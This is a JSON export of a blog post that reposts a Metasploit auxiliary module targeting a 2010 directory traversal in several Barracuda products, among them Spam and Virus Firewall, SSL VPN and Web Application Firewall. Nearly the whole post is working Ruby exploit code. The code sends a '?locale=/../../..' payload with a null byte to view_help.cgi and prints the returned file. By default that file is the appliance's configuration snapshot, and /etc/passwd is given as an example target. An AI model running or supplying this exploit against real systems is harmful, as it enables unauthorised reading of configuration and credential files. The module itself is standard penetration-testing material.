{"id":59345,"date":"2024-09-01T19:20:17","date_gmt":"2024-09-01T16:20:17","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181076\/barracuda_directory_traversal.rb.txt"},"modified":"2024-09-01T19:20:17","modified_gmt":"2024-09-01T16:20:17","slug":"barracuda-multiple-product-locale-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/barracuda-multiple-product-locale-directory-traversal\/","title":{"rendered":"Barracuda Multiple Product Locale Directory Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Auxiliary::Scanner<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;Barracuda Multiple Product &#8220;locale&#8221; Directory Traversal&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a directory traversal vulnerability present in<br \/>several Barracuda products, including the Barracuda Spam and Virus Firewall,<br \/>Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,<br \/>this module will attempt to download the Barracuda configuration file.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;OSVDB&#8217;, &#8216;68301&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/web.archive.org\/web\/20101004131244\/http:\/\/secunia.com\/advisories\/41609\/&#8217;],<br \/>[&#8216;EDB&#8217;, &#8216;15130&#8217;]],<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Tiago Ferreira &lt;tiago.ccna[at]gmail.com&gt;&#8217;<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;Oct 08 2010&#8217;,<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(8000),<br \/>OptString.new(&#8216;FILE&#8217;, [ true, &#8220;Define the remote file to view, ex:\/etc\/passwd&#8221;, &#8216;\/mail\/snapshot\/config.snapshot&#8217;]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Barracuda vulnerable URI path&#8217;, &#8216;\/cgi-mod\/view_help.cgi&#8217;]),<br \/>])<br \/>end<\/p>\n<p>def run_host(ip)<br \/>uri = normalize_uri(target_uri.path)<br \/>file = datastore[&#8216;FILE&#8217;]payload = &#8220;?locale=\/..\/..\/..\/..\/..\/..\/..#{file}%00&#8221;<\/p>\n<p>print_status(&#8220;#{full_uri} &#8211; Barracuda &#8211; Checking if remote server is vulnerable&#8221;)<\/p>\n<p>res = send_request_raw(<br \/>{<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; uri + payload,<br \/>}, 25)<\/p>\n<p>if res.nil?<br \/>print_error(&#8220;#{full_uri} &#8211; Connection timed out&#8221;)<br \/>return<br \/>end<\/p>\n<p>if (res.code == 200 and res.body)<br \/>if res.body.match(\/\\&lt;html\\&gt;(.*)\\&lt;\\\/html\\&gt;\/im)<br \/>html = $1<\/p>\n<p>if res.body =~ \/barracuda\\.css\/<br \/>if html.length &gt; 100<br \/>file_data = html.gsub(%r{&lt;\/?[^&gt;]+?&gt;}, &#8221;)<\/p>\n<p>print_good(&#8220;#{full_uri} &#8211; Barracuda &#8211; Vulnerable&#8221;)<br \/>print_good(&#8220;#{full_uri} &#8211; Barracuda &#8211; File Output:\\n&#8221; + file_data + &#8220;\\n&#8221;)<br \/>else<br \/>print_error(&#8220;#{full_uri} &#8211; Barracuda &#8211; Not vulnerable: HTML too short?&#8221;)<br \/>end<br \/>elsif res.body =~ \/help_page\/<br \/>print_error(&#8220;#{full_uri} &#8211; Barracuda &#8211; Not vulnerable: Patched?&#8221;)<br \/>else<br \/>print_error(&#8220;#{full_uri} &#8211; Barracuda &#8211; File not found or permission denied&#8221;)<br \/>end<br \/>else<br \/>print_error(&#8220;#{full_uri} &#8211; Barracuda &#8211; No HTML was returned&#8221;)<br \/>end<br \/>else<br \/>print_error(&#8220;#{full_uri} &#8211; Barracuda &#8211; Unrecognized #{res.code} response&#8221;)<br \/>end<\/p>\n<p>rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout<br \/>rescue ::Timeout::Error, ::Errno::EPIPE<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initializesuper(&#8216;Name&#8217; =&gt; &#8216;Barracuda Multiple Product &#8220;locale&#8221; Directory Traversal&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a directory traversal vulnerability present inseveral Barracuda products, including the Barracuda Spam and Virus Firewall,Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,this module &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59345","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59345","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59345"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59345\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59345"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59345"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59345"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}